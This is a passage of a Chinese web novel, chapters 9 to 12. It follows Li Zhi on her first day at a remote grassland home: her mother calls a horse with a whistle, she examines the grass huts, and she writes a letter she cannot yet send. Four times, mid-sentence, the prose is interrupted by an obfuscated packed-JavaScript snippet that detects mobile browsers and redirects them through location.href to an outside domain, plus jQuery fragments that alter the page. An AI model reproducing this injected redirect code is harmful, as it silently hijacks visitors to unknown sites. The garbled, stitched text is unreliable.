马能听懂人类的呼唤吗? 只有一匹马的话,倒也无所谓。只要训练过了,它就应该知道是在叫它吧? 可是,如果有很多匹马的话,要通过怎样的训练与呼唤方式,才能让特定的马知道,主人是在叫特定的一匹马,也就是让“它”过来呢? 想到这里,真是令黎芝困惑不已。 难不成,余庆想无差别地把所有马一起叫来,再选择自己想骑的马骑上去吗? 这样做的话,也太没有效率了。而且,也太折腾马群了吧?余庆真的会这么做吗? 虽然黎芝觉得费劲,但总而言之,这件事的真相,很快就能揭晓了。 想到这一点,黎芝感到很激动。甚至可以说,她对此简直期待过剩了。 事情的真相,应该比自己想象得更有趣吧…… 黎芝目不转睛地望着余庆,心里充满了奇妙的期待。 接下来,或许就是见证奇迹的时刻了。 如果余庆想要呼唤马群里特定一匹马的话,她到底会怎么做呢? 黎芝拭目以待的结果,却是让她有一点失望。 “喏,就是这个了。”余庆突然从颈部附近取出了一条银色缎带或类似的环状物体。 定睛一看,那东西并不是简单的环状缎带,它的上面还有一个类似吊坠的物件。 再仔细一看,那也不是缎带,而是金属制作的银色链条。 这样的物件,乍看土气,实际却有种时髦的味道。 但也正因为时髦,黎芝不太看得懂。 银色链条所连接的吊坠,其实是一个“哨子”。而且,真的可以吹响。 余庆把这个“哨子”拿到了嘴边。 然后,她突然吹出了较长的三声哨响,然后停了下来。 “妈妈就是这么呼唤马儿的吗?”黎芝惊讶极了。 余庆没有回答。 黎芝还想看到更有戏剧性的行为表现呢。 但实际上,却只在余庆这里看到了十分省略偷懒敷衍的操作而已。 黎芝对此感到有些失望,不过倒也能够理解。 (说起来,我分不清同类动物的个体差别呢。听说牧民都能认出自己家的牲畜,他们是怎么做到的啊?) 就算是完全同品种、同颜色的马,专业人士应该也能分得清吧? 黎芝觉得,拥有这种能力的人很神奇。要是自己也能尽快掌握这种能力的话,就最好不过了。 三声较长的哨响之后,又过了一会儿,黎芝真的看到了一匹高大的马儿跑了过来。 (真的能叫过来啊……而且就是这一只……) 这是一匹枣红色的大马。它看起来十分健康、高大、强壮,令人感到很值得信任。 “妈妈,你本来要叫的马儿就是它吗?”黎芝好奇地问道,“还是说,随便叫来一匹马儿就行,不需要非得是这一匹枣红马呢?” “嗯,就是它。”余庆点了点头,说道,“我这次并不打算叫别的马过来。这匹马叫‘大枣’,性格比较温顺稳重。你想学骑马的话,可以考虑骑它哦。” (妈妈真的很想让我学骑马啊……) 担心辜负母亲的期望,黎芝对此稍微有些不安。 “学习骑马的话,起码从明后天才开始吧……”黎芝又再好奇地问道,“它怎么知道是叫它呢?我们家只有一匹马吗?” “不,有好几匹呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923692|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”余庆摇了摇头,解释道,“在每匹马身上训练出的哨子呼唤方式,都是不一样的。所以,它们都知道哪个哨响是在叫它哦。” “怎么个不一样啊?”黎芝追问道。 “比如说……这匹马的呼唤声,是三声长音。”余庆解释道,“而别的马,可能是三声短音或是两声长音之类的,这种程度的‘不一样’吧。” 余庆给出的这个答案,在黎芝的感受中,虽然似乎很容易理解,但还是有些不可思议。 马儿都能听到所有的哨响声吗?如果听漏了的话,难道不会有别的马跟着跑过来吗? 虽然,黎芝对此觉得有点不可思议。 但是,母亲呼唤的马及时来了,就是这种方法的可行性,最好的证明吧。 “那么,我先走啦。”余庆拍了一下黎芝的肩膀,豪爽地说道。 在黎芝看来,余庆真不愧是骑惯了马的牧人。 余庆上马的动作,干净利落、流畅自然,让黎芝不由得微微有些倾慕神往。 (会骑马这件事,好像很帅……) “妈妈注意安全,一路顺风哦。”黎芝微笑着点了点头。 就这样,黎芝目送走了余庆。 之前余庆说过,让黎芝找个屋子休息。 但按照黎芝的行事风格,她这么做的话,并不会感到安心。 在闲暇之余,黎芝还是想多看看这些陌生的事物。 当然,黎芝没有刺探别人的隐私之类的癖好。 她只是单纯地、想寻找一些对自己有用或是有意义的线索或情报,来打发无聊罢了。 比如说,在此时,黎芝想仔细观察这些陌生的草屋。 之前余庆在这里的时候,黎芝四下打量、调查草屋的话,会感到不方便、很不好意思的。 现在,就不需要这个顾忌了。 这里只有黎芝一个人,非常适合四下转转这种事情。 (反正,我现在的任务是“看家”。四下转转也是对“家”负责的表现嘛……) 黎芝一边有些心虚地这么想着,一边真的以比之前挑选第七间屋子时放松许多的态度,开始“调查”起草屋来。 由于之前没有办法好好观察、也没有在极近距离接触的关系,所以,房子的很多细节,完全没有发现。 比方说,原来这些草屋,并不是直接盖在地面上的。 当然,草屋也不是盖在草上面的。 与想象中不同,草屋的地面,并非需要直接与土地接触。 草屋,是被一层类似“地板”或是“地板砖”的结构、所架空的建筑物。而这个“结构”,是木制的,上面又额外铺了一层草席。 或许,把那些草席说成“地毯”会更为合适。 但“地毯”又是不应该悬在空中的,这样说也很怪。 仔细观察后,黎芝才发现,这些“草屋”的结构,都是由几根又长又粗的木头作为地基、埋进土里,支撑并修建起来的。 固定好几根木头——通常是四根的“地基”之后,就要在上面铺一层由木头支撑起来的“地板”了。 9. 第 9 章 这种“地板”的制作很粗糙。 而且,也不是直接铺在地上,以大地的力量直接支撑,令人安心的结构。 它只是通过几根木头彼此联系的结构支撑,悬空在低空中的存在。看起来就不结实,让黎芝联想起“空中楼阁”这个成语。 但其实,也没有真的不结实啦。 只是看起来不结实而已,按压时的感觉就要结实多了。 黎芝觉得,就算在上面乱蹦乱跳,应该也不至于会踩坏、震塌地板。 但毕竟是悬空之物,应该还是有“承重”的极限的。 由黎芝目测的话,这种东西的承重能力应该很一般,还是小心为上吧。 在这种悬空的“地板”上,另外铺好一层漂亮的鲜绿色草席之后,小草屋里的“地板”或者说“地面”就此建设完成了。 这种鲜绿色的草席,也不知道是怎么制作出来的。 在黎芝过去的经验中,还从来没有见过与此类似的神奇之物呢。 让她感到不可思议的是,在它被摘下、制作成草席之后,居然能依旧保持着青草应有的漂亮绿色,而不是自然干燥、枯萎成枯草的黄颜色。 不仅颜色是如此漂亮,摸上去感觉也是光滑细腻的。 而且…… 这种草席竟然还散发出浓郁而奇特的草木清香,令人闻到时感到心旷神怡、身心舒畅。 余庆的话,似乎没有错。 这种草屋,应该不会招惹虫蚁老鼠的吧?相反,应该还有驱散它们的效果才对。 毕竟,惹人讨厌的小型动物,一般都会讨厌这种“闻上去就不是食物”的香味。 似乎只有人类才会喜欢这种香味,真搞不懂这其中的原理。 为什么,人类和别的动物,在这方面会显著地不一样呢? 黎芝的脑子里闪过这样的思绪,但注意力很快就转移了。 此时的黎芝,正在用手按压着,仔细检查、调查着这种草房的墙壁。 草房的墙壁,当然是草做的。但摸起来非常厚实,质量上感觉并不是非常容易坍塌、摧毁的东西。 (话说回来,这种草屋竟然还有窗户,真是精致呢……) 黎芝以前,曾在书本上看到过草屋的图片。书本上的草屋,是没有窗户的造型。 住在那种没有窗户的草屋里的人,莫非总是处在黑暗中吗?黎芝很好奇。 但眼前这种有窗扇的草屋,到了白天的时候,只要打开窗户,光线就能轻易地照耀到屋子里来了。 其实,就算是月色好的夜晚,打开窗户的话,屋子里应该也会很亮吧。 可惜的是,这里的窗户,是不使用“玻璃”作为窗扇的重要组成部分的,甚至也不使用“窗户纸”来糊窗户。 因此,现在这种可以打开的窗扇结构,一点儿都不能起到防御飞虫进来的效果。 不过,因为里面有独特的草木香味的关系,倒也不用太在意虫蚁的侵袭就是了。 虽然“辉山”的气候比起京城要凉爽很多,但现在终究属于夏天,正是虫蚁多发的季节。 黎芝却没在草屋里看到任何一只虫子,这让她很是安心。 这种感觉还不错。 黎芝仔细观察着这间暂时属于自己的“房间”。 草屋,至少是这里的草屋,都是一座草屋就是一间房子的构造。并不会建造一座大房子,然后用“墙壁”把房间给间隔开来。 大概是因为,草屋本就不大,也没必要做间隔了。 额外弄出墙壁什么的东西,把屋子分开的话,只会让人感到穷酸。 (不过,草屋本身就很穷酸啦……) 黎芝抬起头来,仔细研究了一会儿。 之后,黎芝才发现,包括自己的屋子在内的这些小屋,都是使用类似席子的东西作为墙壁和屋顶的。 草屋的屋顶有些高,大约有一丈左右。 以黎芝的身高,不踩在什么东西上面的话,是够不到屋顶的。 而黎芝,也没有什么类似“一定要够到屋顶”的需求。 她抬头看了看,感觉自己做不到,自然就放弃了。 现在的黎芝,只是专心地研究着自己够得到的东西而已。 比如说墙壁。 这种草屋的墙壁,摸起来虽然柔软,但也带有坚韧结实的感觉。 但是……这种小草屋,真的不会被风吹得倒塌吗? 想起童话故事里的剧情,黎芝不由得产生了这样的隐忧。 但她转念一想,这里的风感觉上并不很大,似乎不像是会把草屋这种水平的建筑物吹倒的强度。 至少,夏天不会。 冬天再说冬天的事情吧。 况且,就算是草屋倒下的话,因为重量轻,想必砸在人身上也不会很疼吧? 反倒是……就算是砖石结构的建筑物,该倒塌的时候,也还是会倒塌的。那才是真正的“灭顶之灾”呢。 这样一想,黎芝倒是不感觉住在这里有多么危险了。 这么容易想开,或许是因为黎芝天性乐观吧? 不过,这里还真偏僻荒凉啊。 黎芝心想,如果自己不骑马,而是独自出去走走的话,恐怕都没有办法靠自己的力量找回家吧? 荒凉的地方,会让人缺乏安全感的。 余庆才出去不到一盏茶的时间而已……独自待在这里的黎芝,居然就已经感到有些不安了。 或许可以……去找叫做“小黑”的猫,和叫做“阿黄”的狗玩玩?由于寂寞和不安的原因,黎芝的脑子里甚至闪过这样的念头。 但黎芝很快打消了这个念头。 还是算了吧。 (和猫狗玩的话,不但不能放松心情,而且过程本身就会形成我的“压力源”了啊……) 她真的很害怕接近各种动物。 除非是鱼类这种可以养在水缸、水池里的动物。 其次是鸟类,关在笼子里的动物,也多少让黎芝有些安全感。 至于马和牛羊,虽然多少也有些害怕,但毕竟是草食动物,不用太担心突然被它们攻击。 也许,以后的黎芝就可以跟猫狗好好相处了吧? 但现阶段的话,和猫狗一起玩,对黎芝来说是不可能的任务。 黎芝无聊地缩在草屋里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923693|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从窗户观察着猫狗。 它们都懒洋洋地在房屋边上“巡视”,看起来一点也不慌张害怕。 (真是的,连猫狗都比我勇敢多了诶……) 说起来,这里为什么连个院子都没有啊? 在京城的话,除了商铺与饭庄,没有院子的房屋还真的没见过呢。 而“辉山”的房子,竟然就这么直接暴露在草甸子上,不觉得怪怪的吗? 黎芝的心里抱有一系列的疑问,但没有人可以替她解答。毕竟,黎芝连能回答她问题的人都找不到。 自己一个人,待在这种地方还真是无聊…… (说起来,“无聊”和“害怕”这两种近乎互斥的情绪,到底为什么,能在这里同时产生的啊?) “妈妈”就是这样生活的吗? 在短时间内,黎芝很好奇牧民的生活方式,但她很快就放弃想这个问题了。 毕竟,可预见的短期未来里,黎芝将不得不一直住在这种地方。 到时候,就算不想知道牧民是如何生活的,恐怕也很不可能吧。 这种以后自然会知道的事情,就先不浪费精神去胡思乱想了。 草屋也姑且算是调查完毕了吧……现在真是无聊又烦躁啊。 等余庆回家,应该还需要很长一段时间。 那么,现在做什么好呢? 只想了不到半盏茶的时间,黎芝就做出了决定。 趁空闲的时间还有很多,现在来给“那个人”写信吧? 多亏黎芝曾经是个豪富人家的大小姐的缘故,即使来到了草原,她也带着自己曾经拥有的那些物品。 真是值得庆幸,原本“收养”黎芝的那一家人,还不至于苛刻到,在放弃她的时候,强迫她“净身出户”的程度。 虽然,黎芝跟自己的养父养母一家,关系并不算是非常好的;但是,想到这种事情,黎芝觉得还是应该感激他们的慷慨吧。 黎芝并不讨厌他们。 因此,才会在与那家人近乎断绝联系的情况下,也没有放弃自己一直使用的姓名。 物欲很低的黎芝,其实并不是很怀念过去绫罗绸缎、山珍海味的奢侈生活。 对她来说,只要衣服舒适贴身、食物营养卫生就足够了。 除此之外的附加享受,在黎芝看来,基本都是可有可无的存在。 但是,有些作为大小姐才能拥有的东西,对黎芝来说却是非常重要的东西。 比如说,现在被黎芝作为行李、一起带来的“西洋纸”做成的本子与信纸;以及“西洋笔”“墨水瓶”“橡皮”等等用于书写的文具。 这些东西,不仅仅昂贵,而且对黎芝来说,十分重要。 因为,拥有这些西洋传来的纸笔,黎芝才能方便地进行书写。 毛笔与传统纸张,书写效率是非常低的。 用来书写的话,总觉得更像是一种“爱好”或“艺术形式”。 因为书写效率太低了,黎芝基本上都不会使用它们来记录什么想记录的事情。 在学校里,使用毛笔与传统纸张来书写的行为,也确实是一种名为“书法”的艺术了。 10. 第 10 章 (现在回想起来,也还很是不好意思。) (每次上“书法课”的时候,我都只能勉强比“吊车尾”的水平好一点而已。) (哎呀呀……真是没用呢。) 虽然,黎芝在心里这么自言自语地抱怨着。 但实际上,对自己的书法水平很差这件事,她其实并不以为意。 对于练习“书法”这一类的事情,黎芝并没有什么明显的兴趣。 她只是单纯关心“书写的内容”而已。 对“写出漂亮的字体”这回事,黎芝基本是兴趣缺缺的。 多半就是因为这个缘故,黎芝写下的文字,才很难引以为傲吧。 对黎芝来说,只要能使用“西洋纸笔”、完成学校布置的所有作业的话,她就已经很满意了。 所谓的“西洋纸”,是一种质地较为坚硬而结实光滑的白纸。 而“西洋笔”,则是分为“铅笔”与“钢笔”这两种常见的种类。 “铅笔”是外面包裹着软木的黑色细芯笔。 使用的时候,需要不断用小刀削去软木,稍稍有些麻烦。 使用“铅笔”书写的优点是,可以使用一种名为“橡皮”的柔软物品,擦去笔迹。每次考试的时候,尤为适用。 “钢笔”则要高级一些,它是由金属制作的“笔头”与竹木制作的“笔杆”组合起来的,结构较为复杂的笔。 和“毛笔”一样,使用“钢笔”的时候,需要消耗“墨水”。 如果使用大夏本土出产的“墨汁”,蘸着来书写些什么东西的话,钢笔倒也不是完全写不出字来。只是效果比较差,缺少了些这么做的意义而已。 因此,使用钢笔这种书写工具时,搭配的有色液体一般也就是“墨水”了。 所谓的“墨水”,也是西洋进口来的一种文具。 墨水是一种由“色素”或“染料”制作而成的有色液体,只有蘸着墨水,钢笔才能写字。 与“墨汁”相似的是,“墨水”也是“调配”而成的“液体”。 不同的是,“墨汁”是“墨块”搭配水之后,在砚台上“磨制”出来的浓黑液体。它的颜色黑亮油润,在纸上呈现出的效果也很显眼。 而“墨水”的成分,似乎就要简单多了。它通常是用一种叫做“墨水片”的黑色或蓝色的片状固体,用开水冲泡出来的蓝色或黑色液体。 【注:用“墨水片”调配“墨水”,是许多年以前的一种常见操作,非杜撰。在古早的年代里,钢笔用的“墨水”并不是直接装在玻璃瓶中的有色液体,而真的是“冲泡”出来的。】 相比需要研磨的“墨汁”,使用冲泡好就可以用很久的“墨水”来书写的话,其效率当然要高得多了。 可惜的是,这里暂时没有开水可以用。 在这里要怎么烧水呢?黎芝对此也不知道。 幸好,在黎芝的行李中,她翻找到了一个“墨水瓶”,里面还残余半瓶已经调配好的“墨水”。 长途跋涉的时候,带上“墨水瓶”这种东西,是很愚蠢的决定。 黎芝真的不记得自己当时是怎么想的了,感觉多半是“鬼迷心窍”吧。 在旅途中翻倒还是小事,大不了损失这一瓶墨水罢了。 但最要命的是,装有“墨水”的“墨水瓶”,很可能弄脏行李附近的所有东西的。 墨水瓶在行李中打翻的话,那可不是闹着玩的。 即使是最粗心的黎芝,此时想了想,都感到有些后怕。 幸好,这半瓶墨水,没有引发任何意外,而是乖乖地跟随黎芝来到了“辉山”。仅此而已。 这样一来,就可以使用“墨水”来写信了。 说起来,想到这里,因为可以用上自己熟悉的文具,黎芝的不良情绪多少改善了一些。 说干就干。于是黎芝动笔写了起来。 奇怪的是,在写信的时候,黎芝萌生的,是一种类似“近乡情怯”的感觉。 仅仅是想到要给秋墨写信,黎芝就莫名忧郁起来,也完全不能动笔了。 “出走”的时候,没有和秋墨告别,就匆匆离开了。 所以,秋墨会责怪自己吗?黎芝有些担心地想。 如果是别人的话,应该就会这样迁怒黎芝。但如果是秋墨的话,应该不会吧? 因为,他是一个十分宽宏大量、温和体贴、理解别人的人。 但这样的完美,也许只是黎芝的幻想罢了。 秋墨到底是一个表里如一、真的很在乎别人的人,还是一个单纯擅长客套的家伙呢? 对这一点,黎芝实在很不确定。 因此,她也不知道自己是不是“杞人忧天”了。 要是自己给秋墨写了信,他却没有看、更没有回复的话,该怎么办? 抑或是,给秋墨写信之后,竟然成为了他拿来炫耀、或是嘲笑自己的根据的话,又该怎么办? 不得不说,处于低谷的时候,人们常常会担心这些事情。 黎芝也不例外。 而且,现在回想起来…… 她对秋墨的认识,似乎很多基于想象、而非事实。 在这种情况下,判断别人可能不会那么准确。 但黎芝想了半天,终于还是多少想清楚了什么。 如果是秋墨的话,不会这样的。 他一定会认真对待黎芝的信件。 秋墨是个好人,不是伪君子。黎芝果然还是倾向于相信这一点。 如果说从:过去的同学中,选出一个黎芝最为信任的人的话,那就是秋墨了。 两个人不是同年级,交集并不是很多,甚至都没有说过几句话。 就连“通讯地址”,也是不知道为什么,鬼使神差、一时兴起而交换的。 上学的时候,黎芝从来没有给秋墨写过信。 很可惜、很让黎芝失望的是,秋墨也从来没有给自己写过信。 秋墨给出的那个通讯地址,已经是很久之前获取的了。 事到如今,这个通讯地址还是否可以使用,都值得疑惑。 在动笔之前,黎芝回想着各种各样的事情。怎么去想,都觉得很悲观。 这难道不就是……没有缘分的两个人,应有的状态吗? 缘分已经断掉了的话,把它强行接续起来,还有意义吗? 即使处于持续的动摇之中,黎芝最终还是下定了决心。 有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923694|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意义。 这种意义,不是在命运上的意义。 而仅仅是,个人的意愿的呈现而已。 因为,黎芝希望和秋墨重新建立起来“联系”;所以,她要这么做。 有关命运的意义,已经不重要了。 对黎芝来说,更重要的是,“自我满足”所带来的安心感。 于是,黎芝拿起了钢笔。 蘸着“墨水瓶”中所余的那些墨水,黎芝开始动笔了。 秋墨君敬启: 由于发生了太多的事情,我不得不对你不辞而别。 真的很遗憾,我也不想这样。 希望你能原谅我。 不过,不原谅也没有关系。我也不认为你是会怨恨别人的人。 关于我身上的事情,你应该也知道了吧? 因此,我就不在此赘述了。 今天,是我来到这里的第一天。 这里,是一个遍地野草的“牧场”。 草生长得非常旺盛。 就连我住的地方,都是用草建造的“草屋”。 安全水平怎么样,暂时还无从得知。 舒适性上,感觉还可以。 今天就写到这里吧。你要记得回信哦。 其他关于这里的事情,我会在更多了解之后,写在下一封信里的。 黎芝 六月二十日 【按:此处指的是农历的“六月二十日”。】 写下了今天的时间之后,黎芝就停笔了。 特意在旁边观察了一段时间的信,当她确定西洋纸上的墨水已经干涸,折叠起来也不会沾染在一起时,就把自己写的这封短信叠了起来。 以后一段时间,大概会暂时没机会再写信了吧。 黎芝心想,离开学校之后,恐怕很多人都根本不会承认自己曾是他们的同学了。 人与人的关系,或许就是这么的淡薄与功利。 曾经要好的同学,恐怕也不会关心黎芝落魄后的生活状态。 就是因为知道这一点,黎芝才不愿意给同学中所包括的、或者说她特指的那个人,也就是秋墨写信。 自己落魄的状态,就算给秋墨看到了,也依然让人有点难受。 但是,和别人相比,秋墨依然是不一样的。 尽管对秋墨的了解并不多,但黎芝就是莫名其妙地相信这一点。 比方说,如果学校里还有三个人,值得黎芝用写信之类的方式联络的话,那秋墨必定在其中。 但是,其实就连这种想法也是错的。 站在黎芝的角度回想的话,就算这个学校里,只值得和一个人联络,那个人也必定是秋墨。 为何对秋墨如此信任? 黎芝并没有能清楚说出的理由。 因为,黎芝的记忆力,其实是很差的。 黎芝所记得的,只有“秋墨是值得自己信任的”这件事。 至于“基于什么理由,秋墨才被黎芝视为值得信任的人?”这种事,黎芝确实已经忘记了。 这方面的“失忆”,让黎芝感到很有些难过。 但现实就是这样,忘记了重要的事情这个事实,她没法改变自己。 11. 第 11 章 将写给秋墨的信件拿在了手里,黎芝轻轻把它折叠了起来。 折痕很浅。 这样一来,对方打开的时候,信纸的状态会比较好看。 话虽如此,这只是在“京城”地区寄送信件时的经验而已。 但是,从“辉山”到“京城”的距离,实在太过于遥远。 因此,信件经过长途跋涉之后,折痕多半还是会被压得死死的吧? 黎芝想到这个可能性,颇有些忧伤。 不过,她依然决定假装并不会发生这样的事情,按照原本的习惯,浅浅地折出折痕。 然后,黎芝将这张西洋纸,装进了也是西洋纸做的“信封”里。 信纸被装进去之后,黎芝又把“信封”的封口合了起来。 按照京城大夏人的习惯来说,信封是很不结实,不太适用于“包装”长途信件的东西。 为了防止长途寄送的信件因纸质信封破损的缘故丢失或损坏,大夏人会自己使用浅色布料缝制一个袋子来代替纸质信封。 布袋缝好后,再把写上收信人与寄信人地址姓名的布袋,送到“邮局”之类的地方。 付上一笔邮资,就可以让他们寄送这种长途信件了。 但黎芝使用的这种信封,虽然是纸质,却也可以胜任长途邮件的旅途。 这种信封,不但纸张比较结实,而且还在封口处自带了一种叫做“背胶”的东西。 使用“背胶”的那种信封,不仅结实程度很高,而且给信件封口的过程也十分简单。 因为,“背胶”这种东西,其实就是一种预先涂抹在信封上封口处的胶水。 涂抹上“背胶”的部分,摸上去是很干燥的,但相比没有涂抹“背胶”的部分,有些微妙的光滑感觉。 这是因为“背胶”这种东西,本质就是一时失去黏性的胶水罢了。 想用“背胶”辅助给信封封口的话,只要在有“背胶”的封口上,先涂抹一层水,再用力压紧就行了。 如果在“背胶”的部分涂抹水的话,“背胶”上的胶水,就会吸收后涂抹上的水,恢复潮湿状态。 之后,涂有“背胶”的部分就会变得黏黏的。 在这种状态下,只要用手指使劲捏合的话,封口的部分就会粘在一起。信就这么收口了。 其实,用浆糊来粘东西更好、更结实。 很多人由于不信任“背胶”的强度,特意自己熬制浆糊来粘贴信件之类的东西。 但现在的黎芝,当然没有熬制浆糊的条件了。 幸好,黎芝有这种附有“背胶”的信封。就算不熬制,只要与水接触就可以使用了。 如果没有这种信封的话,黎芝还得设法熬制浆糊之类的东西,才能给信件封口。 那可是很麻烦的事情,黎芝只是想一想,就感到退缩。 像现在这样,直接用带有“背胶”的信封封好信的操作,那可比在这里想办法获取浆糊要容易多了。 想到自己有这种条件,黎芝感到很庆幸和欣慰。 产生这种正面的感情,是很重要的。 黎芝现在十分需要安定平静的心情。 这种心情,可以帮助自己在创伤中复原,尽快融入这个陌生的家。 信封已经封了口。 但黎芝看着自己手中的信件,突然发现了一件明明非常不妙和显眼、却不知为何会被自己忽略的事情。 信件是要“寄出”才行的吧? 固然,就连收信人的名字与地址都已经书写好了,黎芝该做的事情,已经完成了。 秋墨收到后不肯回信,也是他的事情,本来不怎么需要放在心上的。 但仔细想想,有一件事明明很令人在意,却被黎芝忽略了呢。 那就是,为了让秋墨收到信件,需要去寄信。 但是,在“辉山”,到哪里才能寄信呢? 在京城生活的时候,到处都有一种上锁的小箱子,名叫“信箱”。 写好的信,可以顺着“信箱”里特意预留的缝隙塞进去。 有一种名为“邮递员”的职业,会在特定的时间,去收集这些信件,带到他们的工作单位“邮局”。 信件被带到“邮局”之后,“邮局”的工作人员会先“分拣”一遍,然后再根据地址的不同,转发给对应地区的“邮局”。 而信件转发到对应地区的“邮局”后,对应地区的“邮局”里的工作人员,又会重新分拣一番,再把信件带给本地工作的“邮递员”。 最后,“邮递员”会把那些他携带的信件,挨家挨户地送过去。 这就是“写信”“寄信”“收信”“回信”的流程了。 但黎芝这一路走来,好像都没有在大路上看到“信箱”不说,在自己家里,也没有看到“信箱”这种很常见的东,真是奇怪西。 当然了,自己家安装的“信箱”与邮局设置的“信箱”还是有所区别的。 区别之一,就在于邮局无法打开自己家的信箱,而自己家也打不开邮局设置的信箱。 既然在信箱这一环节就遇到了阻碍,那一时就没办法了。 黎芝想了想,无奈地暂时决定先算了。 等之后有机会的时候,问问母亲吧。 即使母亲说了“辉山”这里不能寄信的话,以后有机会的时候,黎芝也会再到大一些的地方去打听通讯渠道的。 这封信黎芝非寄不可。黎芝的决心是这么对她说的。 “不告而别”已经很过分了,至少不能一直“杳无音信”吧。 如果黎芝不给秋墨写信的话,秋墨多半会永远都不知道她去了哪里的。 大江南北,人海茫茫,谁能知道分别的人去了哪里呢? 在秋墨离开京城之前,黎芝的新地址必须尽快写给他、与对方交换信息才行。 黎芝写完了这封信之后,本来把它藏在了行李里放文具的位置。 但一转念,黎芝怎么想怎么都感到不安,最后干脆放在了衣服内侧、那个可以装钱的私密口袋里。 倒不是防备谁会拿走……黎芝只是怕自己不小心弄丢而已。 这可是很重要的东西。 信封里面装的不只是信件,还有炽热真诚的履诺。 如果弄丢了的话,就算重写一封,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923695|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能回到那个“特别想写信”的时刻与状态了。 黎芝是这么认为的,所以她十分珍惜地对待这封暂时无法寄出的信件。 黎芝把信件装好之后,又收拾好了房间,就开始给自己铺床了。 草屋里的床,其实也不过是几个“草垫子”摞在一起而已。 但只是这几个“草垫子”的厚度叠加起来,都快要有黎芝的膝盖高了。 因为毕竟是干草编织的东西,因此通常不会直接躺在上面。 在“草垫子”上面,黎芝铺了两层褥子;之后,又在褥子的上面铺了两层床单上去。 离开之前的家的时候,没有嫌麻烦而放弃携带枕头被褥等床上用品,真是太好了。 黎芝对此很是庆幸。 如果当时偷懒,不带这些枕头被褥、放在黎家的话,不但会被扔掉, 而且,今天恐怕也没有类似床榻的地方可以睡了。 铺好褥子和床单之后,黎芝又在行李里翻出了一个竹制的凉枕。 在这样的季节里,使用竹编的中空枕头,还是十分合适的。 只要在凉枕上铺上一层枕巾,就可以使用了。 至于盖的东西,黎芝选择了一条薄薄的“夹被”。 这种被子,里面是一块厚布,并不保暖。但适合在夏天使用,十分凉快。 做好这些之后,黎芝一时不知道该做什么,她便和衣躺了下来。 躺下的时候,黎芝没有盖夹被。 因为,穿着衣服还盖被子的话太热了,即使是盖最单薄的被子也是一样。 感觉有些无聊……黎芝甚至想睡觉。 但因为担心余庆很快就会回来,所以黎芝又不太敢睡觉。 但说真的,如果在这种时候睡觉的话,即使是余庆也不会苛责吧。 毕竟此时此刻,在这里除了睡觉,也就没别的事情可以做了。 这么说可能是夸张,睡觉之外的事情还是有很多的,比如,可以看看书什么的。 虽然黎芝随身携带的书很少,但其中,有一本是很厚的词典。 慢慢地看的话,看很久很久都可以看不完。甚至,可以看一辈子。 黎芝以前的愿望之一,就是看完这本词典。 黎芝以前的愿望之二,则是看完后把这本词典背诵下来。 这听起来是不可能的。不过,正因为听起来就不可能,才有实现的价值。 虽然,可以读的书已经心中有数了,想读的话,随时都可以开始。 但是,黎芝想了想,果然还是不能安心看书呢。 毕竟,余庆随时都可能回来。 黎芝倒不是担心,自己第一天就在这草屋里偷懒的话,会引发什么问题或是矛盾。 比如说,类似被余庆抱怨这种事,黎芝感觉并不会遇到。余庆不像是那种会抱怨别人的人。 而且,就算遇到了也没有什么问题,发现的问题才能够解决。 黎芝只是觉得,人有义务帮助自己的母亲做一些劳动。 如果自己现在读书或者睡觉的话,母亲余庆在附近做事的时候,黎芝就不能帮忙了。 12. 第 12 章 如果出现了母亲需要帮忙的情境,自己却没帮上对方的忙的话,黎芝觉得,自己应该会很内疚、不安的吧。 想到这种可能性,黎芝就不敢睡觉了。 尽管,之前余庆的态度,似乎的确是允许黎芝睡觉的没错。 不然……,为了打发时间,让自己变得清醒一些,还是先出去转转怎么样? 在外面的话,还能寻找一下,看看有没有什么自己可以做的事情。 至少,比这样待在草屋子里发呆要好。 之前自己已经喂过狗了,是不是该喂喂猫比较好? 但是,手边也没有什么能喂猫的便宜食品。因此,黎芝不知道能喂猫什么食物。 无奈地想了想,黎芝觉得还是先算了。以后有机会,再和猫培养感情吧。 